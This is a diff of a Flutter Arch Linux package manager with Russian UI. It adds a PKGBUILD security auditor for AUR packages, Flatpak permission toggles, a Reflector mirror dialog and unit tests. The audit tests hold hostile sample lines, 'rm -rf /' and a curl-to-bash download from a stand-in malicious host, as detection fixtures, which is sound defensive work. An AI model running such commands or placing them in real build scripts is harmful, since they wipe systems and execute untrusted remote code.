int _selectedTab = 0; // 0: Обзор, 1: Зависимости, 2: Файлы, 3: Откат String _fileSearchFilter = ''; + // AUR PKGBUILD & Audit + String? _pkgbuildContent; + PkgbuildAuditResult? _pkgbuildAudit; + bool _isLoadingPkgbuild = false; + + // Flatpak Permissions + FlatpakAppPermissions? _flatpakPermissions; + bool _isLoadingFlatpakPerms = false; + @override void initState() { super.initState(); @@ -59,6 +71,61 @@ class _PackageInspectorSheetState extends State { _loadDetails(); } + Future _loadPkgbuild() async { + setState(() { + _isLoadingPkgbuild = true; + _pkgbuildContent = null; + _pkgbuildAudit = null; + }); + + try { + final text = await AurPkgbuildService.fetchPkgbuild(_currentPackageName); + if (text != null) { + final audit = AurPkgbuildService.audit(text); + if (mounted) { + setState(() { + _pkgbuildContent = text; + _pkgbuildAudit = audit; + _isLoadingPkgbuild = false; + }); + } + } else { + if (mounted) setState(() => _isLoadingPkgbuild = false); + } + } catch (_) { + if (mounted) setState(() => _isLoadingPkgbuild = false); + } + } + + Future _loadFlatpakPerms() async { + setState(() => _isLoadingFlatpakPerms = true); + try { + final perms = await FlatpakPermissionsService.getPermissions(_currentPackageName); + if (mounted) { + setState(() { + _flatpakPermissions = perms; + _isLoadingFlatpakPerms = false; + }); + } + } catch (_) { + if (mounted) setState(() => _isLoadingFlatpakPerms = false); + } + } + + Future _toggleFlatpakPermission(FlatpakPermissionType type, bool val) async { + final success = await FlatpakPermissionsService.setPermission(_currentPackageName, type, val); + if (success) { + await _loadFlatpakPerms(); + } + } + + Future _resetFlatpakPermissions() async { + final success = await FlatpakPermissionsService.resetPermissions(_currentPackageName); + if (success) { + await _loadFlatpakPerms(); + } + } + Future _loadDetails() async { setState(() { _isLoading = true; @@ -98,6 +165,12 @@ class _PackageInspectorSheetState extends State { _packageFiles = files; _isLoading = false; }); + + if (_currentBackend == BackendType.aur) { + _loadPkgbuild(); + } else if (_currentBackend == BackendType.flatpak) { + _loadFlatpakPerms(); + } } } catch (_) { if (mounted) { @@ -111,6 +184,7 @@ class _PackageInspectorSheetState extends State { _history.add((name: _currentPackageName, backend: _currentBackend)); _currentPackageName = name; _currentBackend = backend; + _selectedTab = 0; }); _loadDetails(); } @@ -503,6 +577,10 @@ class _PackageInspectorSheetState extends State { 'Файлы (${_packageFiles.length})', if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty) 'Откат кэша (${_cachedVersions.length})', + if (_currentBackend == BackendType.aur) + 'PKGBUILD & Аудит', + if (_currentBackend == BackendType.flatpak) + 'Разрешения Sandbox', ]; return Column( @@ -578,6 +656,10 @@ class _PackageInspectorSheetState extends State { _buildFilesTab(theme, d), if (_currentBackend == BackendType.pacman && _cachedVersions.isNotEmpty) _buildDowngradeTab(theme, d), + if (_currentBackend == BackendType.aur) + _buildPkgbuildTab(theme), + if (_currentBackend == BackendType.flatpak) + _buildFlatpakPermissionsTab(theme), ], ), ), @@ -890,6 +972,479 @@ class _PackageInspectorSheetState extends State { ); } + Widget _buildPkgbuildTab(MacosThemeData theme) { + if (_isLoadingPkgbuild) { + return const Center( + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + ProgressCircle(radius: 14), + SizedBox(height: 12), + Text( + 'Загрузка и аудит PKGBUILD из AUR...', + style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13), + ), + ], + ), + ); + } + + if (_pkgbuildContent == null) { + return Center( + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const MacosIcon(CupertinoIcons.exclamationmark_triangle, size: 36, color: CupertinoColors.systemOrange), + const SizedBox(height: 10), + Text('Не удалось получить PKGBUILD для $_currentPackageName'), + const SizedBox(height: 14), + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: _loadPkgbuild, + child: const Text('Повторить попытку'), + ), + ], + ), + ); + } + + final audit = _pkgbuildAudit; + final lines = _pkgbuildContent!.split('\n'); + + Color bannerBg; + Color bannerBorder; + Color iconColor; + IconData bannerIcon; + String statusTitle; + + if (audit == null || audit.isSafe) { + bannerBg = CupertinoColors.systemGreen.withValues(alpha: 0.12); + bannerBorder = CupertinoColors.systemGreen.withValues(alpha: 0.35); + iconColor = CupertinoColors.systemGreen; + bannerIcon = CupertinoIcons.checkmark_shield_fill; + statusTitle = 'Аудит безопасности: БЕЗОПАСНО'; + } else if (audit.hasDanger) { + bannerBg = CupertinoColors.systemRed.withValues(alpha: 0.12); + bannerBorder = CupertinoColors.systemRed.withValues(alpha: 0.35); + iconColor = CupertinoColors.systemRed; + bannerIcon = CupertinoIcons.exclamationmark_shield_fill; + statusTitle = 'Аудит безопасности: ОПАСНО!'; + } else { + bannerBg = CupertinoColors.systemOrange.withValues(alpha: 0.12); + bannerBorder = CupertinoColors.systemOrange.withValues(alpha: 0.35); + iconColor = CupertinoColors.systemOrange; + bannerIcon = CupertinoIcons.shield_lefthalf_fill; + statusTitle = 'Аудит безопасности: ПРЕДУПРЕЖДЕНИЕ'; + } + + // Собираем строки с проблемами в карту + final issueMap = {}; + if (audit != null) { + for (final issue in audit.issues) { + issueMap[issue.lineNumber] = issue; + } + } + + return ListView( + padding: const EdgeInsets.all(22), + children: [ + // Карточка статуса аудита + Container( + padding: const EdgeInsets.all(14), + decoration: BoxDecoration( + color: bannerBg, + borderRadius: BorderRadius.circular(10), + border: Border.all(color: bannerBorder), + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Row( + children: [ + MacosIcon(bannerIcon, color: iconColor, size: 22), + const SizedBox(width: 10), + Text( + statusTitle, + style: TextStyle( + fontWeight: FontWeight.bold, + fontSize: 14, + color: iconColor, + ), + ), + ], + ), + const SizedBox(height: 6), + Text( + audit?.summary ?? '', + style: const TextStyle(fontSize: 12.5, height: 1.35), + ), + if (audit != null && audit.issues.isNotEmpty) ...[ + const SizedBox(height: 10), + ...audit.issues.map((iss) => Padding( + padding: const EdgeInsets.only(top: 4), + child: Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Строка ${iss.lineNumber}: ', + style: TextStyle( + fontWeight: FontWeight.bold, + fontSize: 12, + color: iss.severity == SecuritySeverity.danger + ? CupertinoColors.systemRed + : CupertinoColors.systemOrange, + ), + ), + Expanded( + child: Text( + iss.description, + style: const TextStyle(fontSize: 12), + ), + ), + ], + ), + )), + ], + ], + ), + ), + + const SizedBox(height: 16), + + // Панель действий с кодом + Row( + children: [ + _buildSectionHeader('КОД PKGBUILD (${lines.length} СТРОК)'), + const Spacer(), + MacosTooltip( + message: 'Скопировать весь скрипт сборки в буфер', + child: PushButton( + controlSize: ControlSize.small, + secondary: true, + onPressed: () { + Clipboard.setData(ClipboardData(text: _pkgbuildContent!)); + }, + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.doc_on_clipboard, size: 12), + SizedBox(width: 4), + Text('Скопировать'), + ], + ), + ), + ), + const SizedBox(width: 8), + MacosTooltip( + message: 'Обновить и перепроверить PKGBUILD', + child: MacosIconButton( + icon: const MacosIcon(CupertinoIcons.arrow_clockwise, size: 14), + onPressed: _loadPkgbuild, + ), + ), + ], + ), + + const SizedBox(height: 10), + + // Контейнер кода PKGBUILD + Container( + decoration: BoxDecoration( + color: CupertinoColors.black.withValues(alpha: 0.65), + borderRadius: BorderRadius.circular(8), + border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.1)), + ), + child: SingleChildScrollView( + scrollDirection: Axis.horizontal, + child: Padding( + padding: const EdgeInsets.all(12), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: List.generate(lines.length, (idx) { + final lineNum = idx + 1; + final lineText = lines[idx]; + final issue = issueMap[lineNum]; + + return Container( + padding: const EdgeInsets.symmetric(vertical: 1), + color: issue != null + ? (issue.severity == SecuritySeverity.danger + ? CupertinoColors.systemRed + : CupertinoColors.systemOrange) + .withValues(alpha: 0.25) + : CupertinoColors.transparent, + child: Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + SizedBox( + width: 38, + child: Text( + '$lineNum', + style: TextStyle( + fontFamily: 'monospace', + fontSize: 11.5, + color: issue != null ? CupertinoColors.white : CupertinoColors.systemGrey, + ), + ), + ), + SelectableText( + lineText, + style: TextStyle( + fontFamily: 'monospace', + fontSize: 12, + color: issue != null + ? (issue.severity == SecuritySeverity.danger + ? const Color(0xFFFF6961) + : const Color(0xFFFFB340)) + : (lineText.trim().startsWith('#') + ? CupertinoColors.systemGrey + : const Color(0xFFE0E0E0)), + ), + ), + ], + ), + ); + }), + ), + ), + ), + ), + ], + ); + } + + Widget _buildFlatpakPermissionsTab(MacosThemeData theme) { + if (_isLoadingFlatpakPerms) { + return const Center( + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + ProgressCircle(radius: 14), + SizedBox(height: 12), + Text( + 'Загрузка разрешений песочницы...', + style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13), + ), + ], + ), + ); + } + + final perms = _flatpakPermissions; + if (perms == null) { + return Center( + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const MacosIcon(CupertinoIcons.shield_slash, size: 36, color: CupertinoColors.systemGrey), + const SizedBox(height: 10), + Text('Разрешения для $_currentPackageName недоступны (приложение не установлено).'), + const SizedBox(height: 14), + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: _loadFlatpakPerms, + child: const Text('Проверить снова'), + ), + ], + ), + ); + } + + return ListView( + padding: const EdgeInsets.all(22), + children: [ + // Инфо баннер песочницы Flatseal + Container( + padding: const EdgeInsets.all(14), + decoration: BoxDecoration( + color: const Color(0xFF0A84FF).withValues(alpha: 0.1), + borderRadius: BorderRadius.circular(10), + border: Border.all(color: const Color(0xFF0A84FF).withValues(alpha: 0.3)), + ), + child: Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const MacosIcon(CupertinoIcons.lock_shield_fill, color: Color(0xFF0A84FF), size: 24), + const SizedBox(width: 12), + Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text( + 'Песочница Flatpak (Sandbox Permissions)', + style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13.5), + ), + const SizedBox(height: 4), + const Text( + 'Вы можете гибко настраивать доступы приложения к сети, файловой системе и графическим серверам без прав администратора.', + style: TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3), + ), + if (perms.hasOverrides) ...[ + const SizedBox(height: 8), + Container( + padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 3), + decoration: BoxDecoration( + color: const Color(0xFF0A84FF).withValues(alpha: 0.2), + borderRadius: BorderRadius.circular(5), + ), + child: const Text( + 'Активны пользовательские переопределения', + style: TextStyle(fontSize: 11, fontWeight: FontWeight.bold, color: Color(0xFF0A84FF)), + ), + ), + ], + ], + ), + ), + ], + ), + ), + + const SizedBox(height: 18), + _buildSectionHeader('СЕТЬ И ФАЙЛЫ'), + const SizedBox(height: 10), + + _buildPermissionToggle( + title: 'Доступ к сети Интернет', + subtitle: 'Разрешает входящие и исходящие соединения (network socket)', + icon: CupertinoIcons.globe, + value: perms.network, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.network, val), + ), + _buildPermissionToggle( + title: 'Домашняя папка пользователя (~/)', + subtitle: 'Доступ к файлам и документам пользователя (--filesystem=home)', + icon: CupertinoIcons.folder_fill, + value: perms.filesystemHome, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHome, val), + ), + _buildPermissionToggle( + title: 'Все системные файлы (Корневая ФС)', + subtitle: 'Полный доступ к системным файлам хоста (--filesystem=host)', + icon: CupertinoIcons.desktopcomputer, + value: perms.filesystemHost, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHost, val), + ), + + const SizedBox(height: 16), + _buildSectionHeader('ДИСПЛЕЙ И МУЛЬТИМЕДИА'), + const SizedBox(height: 10), + + _buildPermissionToggle( + title: 'Дисплейный сервер Wayland', + subtitle: 'Прямой графический протокол Wayland (--socket=wayland)', + icon: CupertinoIcons.macwindow, + value: perms.socketWayland, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketWayland, val), + ), + _buildPermissionToggle( + title: 'Дисплейный сервер X11', + subtitle: 'Классический графический протокол X11/XWayland (--socket=x11)', + icon: CupertinoIcons.tv, + value: perms.socketX11, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketX11, val), + ), + _buildPermissionToggle( + title: 'Звук (PulseAudio / PipeWire)', + subtitle: 'Воспроизведение и запись аудиопотоков (--socket=pulseaudio)', + icon: CupertinoIcons.speaker_2_fill, + value: perms.socketPulseaudio, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketPulseaudio, val), + ), + _buildPermissionToggle( + title: '3D-ускорение видеокарты (GPU)', + subtitle: 'Прямой доступ к видеодрайверам DRI (--device=dri)', + icon: CupertinoIcons.gamecontroller_fill, + value: perms.deviceDri, + onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.deviceDri, val), + ), + + const SizedBox(height: 20), + + // Кнопка сброса + Row( + mainAxisAlignment: MainAxisAlignment.end, + children: [ + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: perms.hasOverrides ? _resetFlatpakPermissions : null, + child: const Row( + mainAxisSize: MainAxisSize.min, + children: [ + MacosIcon(CupertinoIcons.arrow_counterclockwise, size: 14), + SizedBox(width: 6), + Text('Сбросить к заводским разрешениям'), + ], + ), + ), + ], + ), + ], + ); + } + + Widget _buildPermissionToggle({ + required String title, + required String subtitle, + required IconData icon, + required bool value, + required ValueChanged onChanged, + }) { + final theme = MacosTheme.of(context); + return Container( + margin: const EdgeInsets.only(bottom: 8), + padding: const EdgeInsets.symmetric(horizontal: 14, vertical: 10), + decoration: BoxDecoration( + color: theme.dividerColor.withValues(alpha: 0.12), + borderRadius: BorderRadius.circular(8), + border: Border.all(color: theme.dividerColor.withValues(alpha: 0.4), width: 0.8), + ), + child: Row( + children: [ + Container( + width: 32, + height: 32, + decoration: BoxDecoration( + color: value ? const Color(0xFF0A84FF).withValues(alpha: 0.18) : CupertinoColors.systemGrey.withValues(alpha: 0.15), + borderRadius: BorderRadius.circular(7), + ), + child: Center( + child: MacosIcon( + icon, + color: value ? const Color(0xFF0A84FF) : CupertinoColors.systemGrey, + size: 16, + ), + ), + ), + const SizedBox(width: 12), + Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + title, + style: const TextStyle(fontWeight: FontWeight.w600, fontSize: 13), + ), + const SizedBox(height: 2), + Text( + subtitle, + style: const TextStyle(fontSize: 11, color: CupertinoColors.systemGrey), + ), + ], + ), + ), + MacosSwitch( + value: value, + onChanged: onChanged, + ), + ], + ), + ); + } + Widget _buildSectionHeader(String title) { return Text( title, diff --git a/lib/src/ui/widgets/reflector_mirror_dialog.dart b/lib/src/ui/widgets/reflector_mirror_dialog.dart new file mode 100644 index 0000000..3bd21fd --- /dev/null +++ b/lib/src/ui/widgets/reflector_mirror_dialog.dart @@ -0,0 +1,460 @@ +import 'package:flutter/cupertino.dart'; +import 'package:flutter/material.dart' show Divider; +import 'package:macos_ui/macos_ui.dart'; +import '../../services/admin_service.dart'; +import '../../services/reflector_service.dart'; + +class ReflectorMirrorDialog extends StatefulWidget { + const ReflectorMirrorDialog({super.key}); + + static Future show(BuildContext context) { + return showMacosSheet( + context: context, + barrierDismissible: true, + builder: (context) => const ReflectorMirrorDialog(), + ); + } + + @override + State createState() => _ReflectorMirrorDialogState(); +} + +class _ReflectorMirrorDialogState extends State { + List _countries = []; + List _currentMirrors = []; + List _previewMirrors = []; + String _selectedCountry = 'Germany'; + int _limit = 5; + bool _httpsOnly = true; + final String _sortBy = 'rate'; + + bool _isLoading = true; + bool _isTesting = false; + bool _isApplying = false; + String? _statusMessage; + bool _isSuccess = false; + + @override + void initState() { + super.initState(); + _loadInitialData(); + } + + Future _loadInitialData() async { + setState(() => _isLoading = true); + try { + final countries = await ReflectorService.getCountries(); + final current = await ReflectorService.getCurrentActiveMirrors(); + + if (mounted) { + setState(() { + _countries = countries; + _currentMirrors = current; + _isLoading = false; + }); + } + } catch (_) { + if (mounted) setState(() => _isLoading = false); + } + } + + Future _runPreview() async { + setState(() { + _isTesting = true; + _statusMessage = null; + }); + + try { + final results = await ReflectorService.previewMirrors( + country: _selectedCountry == 'All' ? null : _selectedCountry, + latest: _limit, + httpsOnly: _httpsOnly, + sort: _sortBy, + ); + + if (mounted) { + setState(() { + _previewMirrors = results; + _isTesting = false; + if (results.isEmpty) { + _statusMessage = 'Зеркала не найдены. Попробуйте выбрать другую страну или снять ограничение HTTPS.'; + _isSuccess = false; + } else { + _statusMessage = 'Успешно протестировано! Найдено ${results.length} быстрых зеркал.'; + _isSuccess = true; + } + }); + } + } catch (e) { + if (mounted) { + setState(() { + _isTesting = false; + _statusMessage = 'Ошибка тестирования: $e'; + _isSuccess = false; + }); + } + } + } + + Future _applyMirrors() async { + final password = await AdminService.promptPassword( + context, + title: 'Оптимизация зеркал репозиториев', + reason: 'Для обновления /etc/pacman.d/mirrorlist требуются права администратора.', + ); + + if (password == null) return; + + setState(() { + _isApplying = true; + _statusMessage = null; + }); + + try { + final success = await ReflectorService.applyMirrors( + password, + country: _selectedCountry == 'All' ? null : _selectedCountry, + latest: _limit, + httpsOnly: _httpsOnly, + sort: _sortBy, + ); + + final updated = await ReflectorService.getCurrentActiveMirrors(); + + if (mounted) { + setState(() { + _isApplying = false; + _currentMirrors = updated; + if (success) { + _statusMessage = '✅ Список зеркал успешно обновлен и сохранен в /etc/pacman.d/mirrorlist!'; + _isSuccess = true; + } else { + _statusMessage = '❌ Не удалось применить изменения. Проверьте пароль или подключение к сети.'; + _isSuccess = false; + } + }); + } + } catch (e) { + if (mounted) { + setState(() { + _isApplying = false; + _statusMessage = '❌ Ошибка: $e'; + _isSuccess = false; + }); + } + } + } + + @override + Widget build(BuildContext context) { + final theme = MacosTheme.of(context); + + return Center( + child: Container( + width: 620, + height: 560, + decoration: BoxDecoration( + color: theme.canvasColor, + borderRadius: BorderRadius.circular(16), + border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)), + boxShadow: [ + BoxShadow( + color: CupertinoColors.black.withValues(alpha: 0.45), + blurRadius: 28, + offset: const Offset(0, 10), + ), + ], + ), + child: Column( + children: [ + // Шапка + Padding( + padding: const EdgeInsets.fromLTRB(20, 18, 20, 14), + child: Row( + children: [ + Container( + width: 38, + height: 38, + decoration: BoxDecoration( + color: const Color(0xFF0A84FF).withValues(alpha: 0.15), + borderRadius: BorderRadius.circular(10), + ), + child: const Center( + child: MacosIcon( + CupertinoIcons.speedometer, + color: Color(0xFF0A84FF), + size: 22, + ), + ), + ), + const SizedBox(width: 14), + const Expanded( + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Оптимизация зеркал (Reflector)', + style: TextStyle( + fontSize: 16, + fontWeight: FontWeight.bold, + ), + ), + SizedBox(height: 2), + Text( + 'Тестирование пинга и скорости зеркал Arch Linux', + style: TextStyle( + fontSize: 12, + color: CupertinoColors.systemGrey, + ), + ), + ], + ), + ), + MacosIconButton( + icon: const MacosIcon(CupertinoIcons.xmark, size: 16), + onPressed: () => Navigator.of(context).pop(), + ), + ], + ), + ), + + const Divider(height: 1, color: CupertinoColors.separator), + + // Контент + Expanded( + child: _isLoading + ? const Center(child: ProgressCircle(radius: 14)) + : SingleChildScrollView( + padding: const EdgeInsets.all(20), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + // Блок параметров + Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: theme.dividerColor.withValues(alpha: 0.08), + borderRadius: BorderRadius.circular(12), + border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.08)), + ), + child: Column( + children: [ + Row( + children: [ + const Expanded( + child: Text( + 'Страна серверов:', + style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13), + ), + ), + MacosPopupButton( + value: _selectedCountry, + onChanged: (val) { + if (val != null) setState(() => _selectedCountry = val); + }, + items: [ + const MacosPopupMenuItem( + value: 'All', + child: Text('Весь мир (All)'), + ), + ..._countries.map((c) => MacosPopupMenuItem( + value: c.name, + child: Text('${c.name} (${c.count})'), + )), + ], + ), + ], + ), + const SizedBox(height: 12), + Row( + children: [ + const Expanded( + child: Text( + 'Количество лучших зеркал:', + style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13), + ), + ), + MacosPopupButton( + value: _limit, + onChanged: (val) { + if (val != null) setState(() => _limit = val); + }, + items: const [ + MacosPopupMenuItem(value: 3, child: Text('Топ 3')), + MacosPopupMenuItem(value: 5, child: Text('Топ 5')), + MacosPopupMenuItem(value: 10, child: Text('Топ 10')), + MacosPopupMenuItem(value: 20, child: Text('Топ 20')), + ], + ), + ], + ), + const SizedBox(height: 12), + Row( + children: [ + const Expanded( + child: Text( + 'Использовать только HTTPS:', + style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13), + ), + ), + MacosSwitch( + value: _httpsOnly, + onChanged: (val) => setState(() => _httpsOnly = val), + ), + ], + ), + ], + ), + ), + + const SizedBox(height: 16), + + // Кнопки предпросмотра + Row( + children: [ + PushButton( + controlSize: ControlSize.regular, + secondary: true, + onPressed: _isTesting ? null : _runPreview, + child: Row( + mainAxisSize: MainAxisSize.min, + children: [ + if (_isTesting) ...[ + const ProgressCircle(radius: 6), + const SizedBox(width: 8), + ] else + const MacosIcon(CupertinoIcons.play_arrow, size: 14), + const SizedBox(width: 6), + const Text('Тестировать (Предпросмотр)'), + ], + ), + ), + const Spacer(), + PushButton( + controlSize: ControlSize.regular, + onPressed: _isApplying || _isTesting ? null : _applyMirrors, + child: Row( + mainAxisSize: MainAxisSize.min, + children: [ + if (_isApplying) ...[ + const ProgressCircle(radius: 6), + const SizedBox(width: 8), + ] else + const MacosIcon(CupertinoIcons.checkmark_seal_fill, size: 14), + const SizedBox(width: 6), + const Text('Применить зеркала'), + ], + ), + ), + ], + ), + + if (_statusMessage != null) ...[ + const SizedBox(height: 14), + Container( + padding: const EdgeInsets.symmetric(horizontal: 12, vertical: 10), + decoration: BoxDecoration( + color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed) + .withValues(alpha: 0.12), + borderRadius: BorderRadius.circular(8), + border: Border.all( + color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed) + .withValues(alpha: 0.3), + ), + ), + child: Row( + children: [ + MacosIcon( + _isSuccess + ? CupertinoIcons.check_mark_circled + : CupertinoIcons.exclamationmark_triangle, + size: 16, + color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed, + ), + const SizedBox(width: 8), + Expanded( + child: Text( + _statusMessage!, + style: TextStyle( + fontSize: 12.5, + color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed, + ), + ), + ), + ], + ), + ), + ], + + const SizedBox(height: 16), + + // Список зеркал + if (_previewMirrors.isNotEmpty) ...[ + const Text( + 'Результат замера (будут сохранены):', + style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13), + ), + const SizedBox(height: 8), + ..._previewMirrors.map((url) => Container( + margin: const EdgeInsets.only(bottom: 6), + padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8), + decoration: BoxDecoration( + color: theme.dividerColor.withValues(alpha: 0.05), + borderRadius: BorderRadius.circular(6), + border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.05)), + ), + child: Row( + children: [ + const MacosIcon(CupertinoIcons.link, size: 14, color: Color(0xFF0A84FF)), + const SizedBox(width: 8), + Expanded( + child: Text( + url, + style: const TextStyle(fontSize: 12, fontFamily: 'monospace'), + ), + ), + ], + ), + )), + ] else if (_currentMirrors.isNotEmpty) ...[ + const Text( + 'Текущие активные зеркала в системе:', + style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13), + ), + const SizedBox(height: 8), + ..._currentMirrors.take(5).map((url) => Container( + margin: const EdgeInsets.only(bottom: 6), + padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8), + decoration: BoxDecoration( + color: theme.dividerColor.withValues(alpha: 0.05), + borderRadius: BorderRadius.circular(6), + ), + child: Row( + children: [ + const MacosIcon(CupertinoIcons.checkmark_alt, + size: 14, color: CupertinoColors.systemGrey), + const SizedBox(width: 8), + Expanded( + child: Text( + url, + style: const TextStyle( + fontSize: 12, + fontFamily: 'monospace', + color: CupertinoColors.systemGrey, + ), + ), + ), + ], + ), + )), + ], + ], + ), + ), + ), + ], + ), + ), + ); + } +} diff --git a/test/aur_pkgbuild_service_test.dart b/test/aur_pkgbuild_service_test.dart new file mode 100644 index 0000000..665e197 --- /dev/null +++ b/test/aur_pkgbuild_service_test.dart @@ -0,0 +1,77 @@ +import 'package:flutter_test/flutter_test.dart'; +import 'package:forge/src/services/aur_pkgbuild_service.dart'; + +void main() { + group('AurPkgbuildService Audit Tests', () { + test('passes safe PKGBUILD with clean verdict', () { + const safePkgbuild = ''' +# Maintainer: John Doe +pkgname=hello-world +pkgver=1.0.0 +pkgrel=1 +arch=('x86_64') +source=("https://example.com/hello-world-1.0.0.tar.gz") +sha256sums=('SKIP') + +build() { + cd "\$srcdir/\$pkgname-\$pkgver" + make +} + +package() { + cd "\$srcdir/\$pkgname-\$pkgver" + make DESTDIR="\$pkgdir" install +} +'''; + + final result = AurPkgbuildService.audit(safePkgbuild); + expect(result.overallSeverity, SecuritySeverity.safe); + expect(result.isSafe, isTrue); + expect(result.issues, isEmpty); + }); + + test('detects dangerous rm -rf / command', () { + const maliciousPkgbuild = ''' +pkgname=bad-actor +pkgver=1.0.0 +package() { + rm -rf / +} +'''; + + final result = AurPkgbuildService.audit(maliciousPkgbuild); + expect(result.overallSeverity, SecuritySeverity.danger); + expect(result.hasDanger, isTrue); + expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue); + }); + + test('detects pipe to shell (curl | bash)', () { + const maliciousPkgbuild = ''' +pkgname=untrusted-app +pkgver=1.0.0 +build() { + curl -sSL https://malicious.com/install.sh | bash +} +'''; + + final result = AurPkgbuildService.audit(maliciousPkgbuild); + expect(result.overallSeverity, SecuritySeverity.danger); + expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue); + }); + + test('detects warning for git clone inside build()', () { + const warningPkgbuild = ''' +pkgname=git-puller +pkgver=1.0.0 +build() { + git clone https://github.com/example/repo.git +} +'''; + + final result = AurPkgbuildService.audit(warningPkgbuild); + expect(result.overallSeverity, SecuritySeverity.warning); + expect(result.hasWarnings, isTrue); + expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue); + }); + }); +} diff --git a/test/dialogs_smoke_test.dart b/test/dialogs_smoke_test.dart new file mode 100644 index 0000000..e23f12d --- /dev/null +++ b/test/dialogs_smoke_test.dart @@ -0,0 +1,20 @@ +import 'package:flutter/material.dart'; +import 'package:flutter_test/flutter_test.dart'; +import 'package:macos_ui/macos_ui.dart'; +import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart'; + +void main() { + testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async { + await tester.pumpWidget( + const MacosApp( + home: Scaffold( + body: KeyboardShortcutsDialog(), + ), + ), + ); + + expect(find.text('Горячие клавиши Forge'), findsOneWidget); + expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget); + expect(find.text('Понятно'), findsOneWidget); + }); +} diff --git a/test/flatpak_permissions_service_test.dart b/test/flatpak_permissions_service_test.dart new file mode 100644 index 0000000..b240a9a --- /dev/null +++ b/test/flatpak_permissions_service_test.dart @@ -0,0 +1,49 @@ +import 'package:flutter_test/flutter_test.dart'; +import 'package:forge/src/services/flatpak_permissions_service.dart'; + +void main() { + group('FlatpakPermissionsService Parser Tests', () { + test('parses basic permissions from manifest correctly', () { + const manifest = ''' +[Application] +name=org.example.App + +[Context] +shared=ipc;network; +sockets=pulseaudio;x11; +devices=dri; +filesystems=host; +'''; + const overrides = ''; + + final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides); + expect(perms.network, isTrue); + expect(perms.socketPulseaudio, isTrue); + expect(perms.socketX11, isTrue); + expect(perms.deviceDri, isTrue); + expect(perms.filesystemHost, isTrue); + expect(perms.filesystemHome, isTrue); // host implies home + expect(perms.hasOverrides, isFalse); + }); + + test('respects user overrides (disabling network and x11)', () { + const manifest = ''' +[Context] +shared=ipc;network; +sockets=pulseaudio;x11;wayland; +'''; + const overrides = ''' +[Context] +shared=!network; +sockets=!x11; +'''; + + final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides); + expect(perms.network, isFalse); + expect(perms.socketX11, isFalse); + expect(perms.socketWayland, isTrue); + expect(perms.socketPulseaudio, isTrue); + expect(perms.hasOverrides, isTrue); + }); + }); +}